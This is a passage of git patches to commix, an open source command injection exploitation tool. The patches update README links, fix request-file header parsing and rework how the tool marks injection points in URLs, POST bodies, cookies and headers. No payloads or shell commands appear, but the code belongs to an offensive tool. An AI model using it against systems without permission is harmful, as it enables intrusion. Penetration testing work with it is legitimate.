-**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. +**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/THANKS.md b/doc/THANKS.md index 061d357918..af082b4dc4 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -4,7 +4,7 @@ ## List of individual donors: * Thanks John Brinton for a donation. * Thanks [Himself132](https://github.com/Himself132) for a donation. -* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. +* Thanks [m3g9tr0n](https://x.com/m3g9tr0n) for a donation. ## List of individual contributors: * Thanks [anonymousdouble](https://github.com/anonymousdouble) for contributing code. diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 603bdde0ad..afeedcfe05 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -5,11 +5,11 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار می‌کند. +**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متن‌باز تست‌نفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهره‌برداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار می‌کند. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index b327a08b07..efd183a1e1 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -5,11 +5,11 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**. ## Εικόνα diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 65743cd494..7f28d9751d 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -5,11 +5,11 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**. +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index a2d1c339ac..422bbac553 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -6,12 +6,12 @@ Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + x

-**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. ![Screenshot](https://commixproject.com/images/background.png) diff --git a/src/utils/menu.py b/src/utils/menu.py index d1e3c7f295..dee79edfa0 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -35,11 +35,11 @@ def banner(): /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + r""" /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> Date: Thu, 13 Jun 2024 08:12:05 +0300 Subject: [PATCH 464/560] Fixes https://github.com/commixproject/commix/issues/922 --- src/core/requests/parameters.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 697ac3d95a..7fce71a704 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -152,7 +152,7 @@ def multi_params_get_value(parameter): # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: - all_params[param] = ''.join(all_params[param]) + settings.INJECT_TAG + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") @@ -409,7 +409,7 @@ def json_format(parameter): elif settings.IS_XML: all_params[param] = ''.join(all_params[param]).replace(">" + settings.INJECT_TAG + " Date: Fri, 14 Jun 2024 09:04:47 +0300 Subject: [PATCH 465/560] Minor update --- src/core/injections/controller/parser.py | 31 ++++++++++++------------ src/utils/common.py | 2 +- src/utils/menu.py | 2 +- src/utils/settings.py | 4 +-- 4 files changed, 19 insertions(+), 20 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 03b733a1b9..fd261fd8ea 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -84,13 +84,13 @@ def invalid_data(request): request_lines = request.split("\n") while c < len(request_lines) and len(request_lines[c]) > 0: x = request_lines[c].find(':') - header_name = request_lines[c][:x] + header_name = request_lines[c][:x].title() header_value = request_lines[c][x + 1:] if menu.options.header: request_headers.append(menu.options.header) elif menu.options.headers: request_headers.extend(menu.options.headers.split("\\n")) - request_headers.append(header_name + ": " + header_value) + request_headers.append(header_name + ":" + header_value) c += 1 c += 1 menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") @@ -114,9 +114,7 @@ def invalid_data(request): else: http_method = settings.HTTP_METHOD - if "\\n" in request: - request = request.replace("\\n","\n") - request_url = re.findall(r"" + " (.*) HTTP/", request) + request_url = re.findall(r"" + " (.*)" + " HTTP/", request) if not request_url: invalid_data(request_file) @@ -125,22 +123,23 @@ def invalid_data(request): # Check for other headers extra_headers = "" scheme = "http://" - for line in request.splitlines(): - if re.findall(r"" + settings.HOST + ": " + "(.*)", line): - menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) + + for line in request_headers: + if re.findall(r"" + settings.HOST + ":" + " (.*)", line): + menu.options.host = "".join([str(i) for i in re.findall(r"" + settings.HOST + ":" + " (.*)", line)]) # User-Agent Header - if re.findall(r"" + settings.USER_AGENT + ": " + "(.*)", line): - menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) + if re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line): + menu.options.agent = "".join([str(i) for i in re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line)]) # Cookie Header - if re.findall(r"" + settings.COOKIE + ": " + "(.*)", line): - menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) + if re.findall(r"" + settings.COOKIE + ":" + " (.*)", line): + menu.options.cookie = "".join([str(i) for i in re.findall(r"" + settings.COOKIE + ":" + " (.*)", line)]) # Referer Header - if re.findall(r"" + settings.REFERER + ": " + "(.*)", line): - menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) + if re.findall(r"" + settings.REFERER + ":" + " (.*)", line): + menu.options.referer = "".join([str(i) for i in re.findall(r"" + settings.REFERER + ":" + " (.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: scheme = "https://" - if re.findall(r"Authorization: " + "(.*)", line): - auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() + if re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line): + auth_provided = "".join([str(i) for i in re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split() if auth_provided: menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: diff --git a/src/utils/common.py b/src/utils/common.py index 2e7803fd12..54f6eda4bd 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -209,7 +209,7 @@ def create_github_issue(err_msg, exc_msg): data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"} request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues", data = json.dumps(data).encode(), - headers = {"Authorization": "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} + headers = {settings.AUTHORIZATION: "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()} ) try: content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read() diff --git a/src/utils/menu.py b/src/utils/menu.py index dee79edfa0..d3ab082c25 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -35,7 +35,7 @@ def banner(): /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + r""" /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> Date: Mon, 17 Jun 2024 07:46:11 +0300 Subject: [PATCH 466/560] Minor update --- src/core/injections/controller/checks.py | 2 +- src/core/requests/parameters.py | 18 +++++++++++++++--- src/utils/settings.py | 2 +- 3 files changed, 17 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 40876dbc26..0fb2a58889 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -136,7 +136,7 @@ def process_custom_injection_data(data): data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + # data = data.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) # if settings.INJECT_TAG in data: # settings.CUSTOM_INJECTION_MARKER_DATA.append(data) # settings.CUSTOM_INJECTION_MARKER_DATA = (list(dict.fromkeys(settings.CUSTOM_INJECTION_MARKER_DATA))) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 7fce71a704..42576d36ce 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -154,7 +154,11 @@ def multi_params_get_value(parameter): if not menu.options.skip_empty: all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + else: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL @@ -411,7 +415,11 @@ def json_format(parameter): else: all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + else: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) if settings.IS_JSON and len(all_params[param].split("\":")) == 2: check_parameter = all_params[param].split("\":")[0] if settings.INJECT_TAG in check_parameter: @@ -623,7 +631,11 @@ def multi_params_get_value(parameter): if not menu.options.skip_empty: all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + else: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) cookie = cookie.replace(settings.RANDOM_TAG, "") diff --git a/src/utils/settings.py b/src/utils/settings.py index e2cd563af0..14574d4106 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "69" +REVISION = "70" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e8b35c5a3a7775a1ffba9380be0a0220c6fed69b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 18 Jun 2024 07:13:51 +0300 Subject: [PATCH 467/560] Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 33 ++++--- src/core/injections/controller/controller.py | 98 +++++++++++--------- src/core/requests/headers.py | 25 ++--- src/core/requests/parameters.py | 53 +++++++---- src/utils/settings.py | 13 ++- 6 files changed, 134 insertions(+), 89 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1159c169c8..b469e35b43 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). * Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). * Updated: Six (third party) module has been updated (Python 3.12 support). * Revised: Minor improvement regarding determining (passively) the target's underlying operating system. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0fb2a58889..af409e9f7f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -154,28 +154,28 @@ def process_custom_injection_data(data): def custom_injection_marker_character(url, http_request_method): if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" - settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True if menu.options.data: settings.IGNORE_USER_DEFINED_POST_DATA = True elif menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" - settings.CUSTOM_INJECTION_MARKER = True + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True else: option = "option '--headers/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: - settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = True - elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: - settings.CUSTOM_INJECTION_MARKER = settings.USER_AGENT_INJECTION = True - elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: - settings.CUSTOM_INJECTION_MARKER = settings.REFERER_INJECTION = True - elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: - settings.CUSTOM_INJECTION_MARKER = settings.HOST_INJECTION = True - elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: - if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: - settings.CUSTOM_INJECTION_MARKER = True - else: - settings.CUSTOM_HEADER_INJECTION = True - return False + if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: + settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True + elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True + elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True + elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True + elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: + settings.CUSTOM_INJECTION_MARKER = True + else: + settings.CUSTOM_HEADER_INJECTION = True + return False if settings.CUSTOM_INJECTION_MARKER: while True: @@ -185,7 +185,6 @@ def custom_injection_marker_character(url, http_request_method): if procced_option in settings.CHOICE_YES: return True elif procced_option in settings.CHOICE_NO: - # settings.CUSTOM_HEADER_INJECTION = False return False elif procced_option in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6974b5f808..8fedf901ee 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -480,7 +480,6 @@ def cookie_injection(url, http_request_method, filename, timesec): # Cookie Injection if settings.COOKIE_INJECTION: cookie_value = menu.options.cookie - header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) @@ -584,9 +583,9 @@ def get_request(url, http_request_method, filename, timesec): """ def post_request(url, http_request_method, filename, timesec): - parameter = menu.options.data + parameter = settings.USER_DEFINED_POST_DATA found_parameter = parameters.do_POST_check(parameter, http_request_method) - + # Check if singe entry parameter if type(found_parameter) is str: found_parameter_list = [] @@ -643,58 +642,56 @@ def post_request(url, http_request_method, filename, timesec): Perform GET / POST parameters checks """ def data_checks(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = None settings.HTTP_HEADERS_INJECTION = False settings.CUSTOM_HEADER_INJECTION = False - checks.process_non_custom() + if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: if post_request(url, http_request_method, filename, timesec) is None: if not settings.SKIP_NON_CUSTOM: get_request(url, http_request_method, filename, timesec) else: if get_request(url, http_request_method, filename, timesec) is None: - if settings.USER_DEFINED_POST_DATA and not settings.SKIP_NON_CUSTOM: - post_request(url, http_request_method, filename, timesec) + if settings.USER_DEFINED_POST_DATA: + if not settings.SKIP_NON_CUSTOM: + post_request(url, http_request_method, filename, timesec) + """ -Perform HTTP Headers parameters checks +Perform checks over cookie values. """ -def headers_checks(url, http_request_method, filename, timesec): - - if menu.options.level == settings.COOKIE_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: - if menu.options.cookie: - settings.COOKIE_INJECTION = True - +def cookies_checks(url, http_request_method, filename, timesec): if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: - cookie_injection(url, http_request_method, filename, timesec) - - if menu.options.level > settings.COOKIE_INJECTION_LEVEL and not settings.CUSTOM_INJECTION_MARKER: - settings.HTTP_HEADERS_INJECTION = True + if not settings.SKIP_NON_CUSTOM: + cookie_injection(url, http_request_method, filename, timesec) +""" +Perform checks over HTTP Headers parameters. +""" +def headers_checks(url, http_request_method, filename, timesec): if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or settings.HTTP_HEADERS_INJECTION or any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): - if settings.INJECTED_HTTP_HEADER == False: - check_parameter = "" - http_headers_injection(url, http_request_method, filename, timesec) + if not settings.SKIP_NON_CUSTOM: + http_headers_injection(url, http_request_method, filename, timesec) - if len(settings.CUSTOM_HEADERS_NAMES) != 0: - settings.CUSTOM_HEADER_INJECTION = True - for _ in settings.CUSTOM_HEADERS_NAMES: - if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: - settings.CUSTOM_HEADER_INJECTION = False - else: - settings.CUSTOM_HEADER_NAME = _.split(": ")[0] - settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") - check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME - settings.HTTP_HEADER = header_name[1:].lower() - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - # settings.CUSTOM_HEADER_INJECTION = False +""" +Perform checks over custom HTTP Headers parameters. +""" +def custom_headers_checks(url, http_request_method, filename, timesec): + for _ in settings.CUSTOM_HEADERS_NAMES: + if settings.CUSTOM_INJECTION_MARKER_CHAR in _.split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_HEADER_INJECTION = False + else: + settings.CUSTOM_HEADER_NAME = _.split(": ")[0] + settings.CUSTOM_HEADER_VALUE = _.split(": ")[1].replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME + settings.HTTP_HEADER = header_name[1:].lower() + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + settings.CUSTOM_HEADER_INJECTION = False """ Perform checks """ def perform_checks(url, http_request_method, filename): - # Initiate whitespaces if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: settings.WHITESPACES = ["%20"] @@ -728,14 +725,31 @@ def perform_checks(url, http_request_method, filename): check_for_stored_levels(url, http_request_method) _ = True - if not settings.CUSTOM_INJECTION_MARKER: - data_checks(url, http_request_method, filename, timesec) - _ = False - headers_checks(url, http_request_method, filename, timesec) - if any((settings.CUSTOM_HEADERS_NAMES, settings.COOKIE_INJECTION, settings.HTTP_HEADERS_INJECTION)) and settings.SKIP_NON_CUSTOM: + if settings.CUSTOM_INJECTION_MARKER: _ = False - if _: - data_checks(url, http_request_method, filename, timesec) + if any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)): + data_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.COOKIE: + cookies_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS: + headers_checks(url, http_request_method, filename, timesec) + if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: + custom_headers_checks(url, http_request_method, filename, timesec) + if settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA \ + or settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL: + checks.process_non_custom() + + if not settings.SKIP_NON_CUSTOM: + settings.CUSTOM_INJECTION_MARKER = False + if not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + data_checks(url, http_request_method, filename, timesec) + if _: + if not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: + settings.COOKIE_INJECTION = True + cookies_checks(url, http_request_method, filename, timesec) + if not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: + settings.HTTP_HEADERS_INJECTION = True + headers_checks(url, http_request_method, filename, timesec) if settings.INJECTION_CHECKER == False: return False diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f2245d56f7..04dabbef50 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -394,18 +394,19 @@ def do_check(request): http_header_value = ''.join(http_header_value).strip().replace(": ",":") # Check if it is a custom header injection. if http_header_name not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: - - if not settings.CUSTOM_HEADER_INJECTION and settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: - settings.CUSTOM_INJECTION_MARKER = True - - if not settings.CUSTOM_HEADER_INJECTION and http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value: - settings.CUSTOM_HEADER_CHECK = http_header_name - if len(http_header_name) != 0 and \ - http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ - http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: - settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) - http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") - request.add_header(http_header_name, http_header_value) + if not settings.CUSTOM_HEADER_INJECTION: + if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: + settings.CUSTOM_INJECTION_MARKER = True + + if http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: + settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True + settings.CUSTOM_HEADER_CHECK = http_header_name + if len(http_header_name) != 0 and \ + http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ + http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: + settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) + http_header_value = http_header_value.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"") + request.add_header(http_header_name, http_header_value) if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE, settings.CUSTOM_HEADER_NAME]: request.add_header(http_header_name, http_header_value) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 42576d36ce..0520fa02d6 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -60,6 +60,7 @@ def multi_params_get_value(parameter): url = checks.process_custom_injection_data(url) # Check for REST-ful URLs format. if "?" not in url: + settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: if len(settings.TEST_PARAMETER) != 0 or \ menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ @@ -119,10 +120,15 @@ def multi_params_get_value(parameter): if len(value) == 0: parameters = parameters + settings.INJECT_TAG else: - parameters = parameters.replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + parameters = parameters.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters - url = url.replace(settings.RANDOM_TAG, "") + url = url.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") urls_list.append(url) return urls_list else: @@ -156,14 +162,15 @@ def multi_params_get_value(parameter): else: if settings.CUSTOM_INJECTION_MARKER: if settings.ASTERISK_MARKER in value: - all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER,"") + settings.INJECT_TAG) + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) else: - all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + if not settings.ASTERISK_MARKER in value and not 